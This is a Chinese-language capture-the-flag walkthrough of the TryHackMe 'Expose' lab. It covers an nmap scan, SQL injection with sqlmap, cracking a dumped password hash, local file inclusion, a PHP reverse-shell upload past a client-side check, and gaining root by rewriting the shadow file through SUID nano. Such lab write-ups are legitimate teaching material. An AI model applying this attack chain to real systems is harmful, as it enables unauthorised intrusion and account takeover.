【THM】 Expose
信息收集
我们得到ip地址,先用nmap扫描一下全端口
下面的是nmap的报告
我们得到这几个端口,再仔细地探测一下。
┌──(root㉿Breeze)-[/home/breeze/Desktop]
└─# nmap -sT -sC -sV -p 21,22,53,1337,1883 10.10.21.56
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-26 16:55 CST
Nmap scan report for 10.10.21.56
Host is up (0.36s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.17.48.147
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 94:af:50:6b:4f:7d:9b:27:1d:04:84:f7:99:b6:9d:e6 (RSA)
| 256 b3:65:69:ba:55:d8:8c:4e:38:01:49:1b:28:0e:29:98 (ECDSA)
|_ 256 1a:4c:30:f1:3c:bb:84:61:cb:f5:a0:47:f5:09:de:8a (ED25519)
53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.16.1-Ubuntu
1337/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: EXPOSED
1883/tcp open mosquitto version 1.6.9
| mqtt-subscribe:
| Topics and their most recent payloads:
| $SYS/broker/clients/active: 1
| $SYS/broker/bytes/sent: 407
| $SYS/broker/load/messages/received/15min: 0.20
| $SYS/broker/load/bytes/sent/15min: 26.97
| $SYS/broker/version: mosquitto version 1.6.9
| $SYS/broker/load/publish/sent/1min: 10.05
| $SYS/broker/load/sockets/5min: 0.57
| $SYS/broker/subscriptions/count: 2
| $SYS/broker/load/bytes/received/1min: 63.04
| $SYS/broker/load/connections/1min: 1.83
| $SYS/broker/load/connections/15min: 0.13
| $SYS/broker/load/bytes/received/5min: 13.55
| $SYS/broker/load/publish/sent/15min: 0.73
| $SYS/broker/publish/bytes/sent: 61
| $SYS/broker/store/messages/count: 31
| $SYS/broker/heap/maximum: 51472
| $SYS/broker/load/connections/5min: 0.39
| $SYS/broker/messages/received: 3
| $SYS/broker/load/messages/sent/5min: 2.75
| $SYS/broker/clients/connected: 1
| $SYS/broker/heap/current: 51072
| $SYS/broker/uptime: 2992 seconds
| $SYS/broker/load/bytes/sent/1min: 371.87
| $SYS/broker/clients/maximum: 1
| $SYS/broker/store/messages/bytes: 147
| $SYS/broker/clients/total: 1
| $SYS/broker/retained messages/count: 35
| $SYS/broker/load/publish/sent/5min: 2.16
| $SYS/broker/publish/messages/sent: 11
| $SYS/broker/messages/stored: 31
| $SYS/broker/messages/sent: 14
| $SYS/broker/load/bytes/received/15min: 4.57
| $SYS/broker/load/messages/received/1min: 2.74
| $SYS/broker/load/sockets/1min: 2.43
| $SYS/broker/clients/inactive: 0
| $SYS/broker/load/messages/sent/1min: 12.79
| $SYS/broker/bytes/received: 69
| $SYS/broker/clients/disconnected: 0
| $SYS/broker/load/sockets/15min: 0.20
| $SYS/broker/load/messages/sent/15min: 0.93
| $SYS/broker/load/bytes/sent/5min: 79.93
|_ $SYS/broker/load/messages/received/5min: 0.59
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.96 seconds
我们接下来用 gobuster去扫描目录,得到一些有用的目录。admin和phpadmin
第一个是admin
第二个是admin_101,这个指定了邮箱,我们猜测这是真的有效的admin页面。
我们可以先试试弱口令,再看看能否暴力破解,最后发现是sql注入
sql注入
我们抓包将文件改名为test,用sqlmap -r来进行sql注入
我们得到以下信息
+----+------------------------------+-----------------------------------------------------+
| id | url | password |
+----+------------------------------+-----------------------------------------------------+
| 1 | /file1010111/index.php | 69c66901194a6486176e81f5945b8929 |
| 3 | /upload-cv00101011/index.php | // ONLY ACCESSIBLE THROUGH USERNAME STARTING WITH Z |
+----+------------------------------+-----------------------------------------------------+
+----+-----------------+---------------------+--------------------------------------+
| id | email | created | password |
+----+-----------------+---------------------+--------------------------------------+
| 1 | hacker@root.thm | 2023-02-21 09:05:46 | VeryDifficultPassword!!#@#@!#!@#1231 |
+----+-----------------+---------------------+--------------------------------------+
第二个是admin_101的密码,但是没什么用。
我们尝试用这个密码登录mysql服务器发现不行
文件上传
我们登录网站发现需要密码
我们将sqlmap跑出来的密码,尝试破解一下。
69c66901194a6486176e81f5945b8929
我们得到密码是 easytohack
我们直接去登录
右键查看源码,我们发现了一些其他的东西
我们尝试get传参file=index.php,发现存在本地文件包含漏洞。
尝试读取passwd文件
我们得到了一些用户名。
我们进入/upload-cv00101011/index.php页面
他说要用z开头的用户名
我们回想之前的提示
猜测这个用户名是 zeamkish
我们成功进去,得到了一个文件上传的页面
我们先随意上传一个文件,然后右键查看一个源码,发现了文件保存的位置。
upload_thm_1001
原来是前端检验直接删了就行
我们上传一个php反弹shell的php文件,然后运行。得到一个shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
经过实践,进入的是www-data用户。
我们进入home下的文件夹。
find / -perm -04000 -type f -ls 2>/dev/null
我们知道了nano是管理员运行的命令。
改写root密码
我们直接用nano写下shadows文件
openssl passwd
: 这是调用 OpenSSL 工具的命令,用于生成密码哈希值。-1
: 这个选项告诉 OpenSSL 使用 MD5 算法来生成密码哈希值。MD5 算法是一种不太安全的哈希算法,因为它容易受到碰撞攻击,不建议在安全性要求较高的场景中使用。-salt
: 这个选项告诉 OpenSSL 在生成密码哈希值时使用盐(salt)。盐是一个随机的值,用于增加密码哈希值的随机性和安全性。-root
: 这个参数指定了盐的值为 "root"。盐值是用于增加密码哈希值的安全性的一个重要部分,它应该是一个随机的值,并且对于每个密码都是唯一的。1234
: 这是要加密的原始密码。
综上,该命令的作用是使用 OpenSSL 工具生成一个经过 MD5 加密的密码哈希值,盐值为 "root",原始密码为 "1234"。
之后用su切换到root用户即可。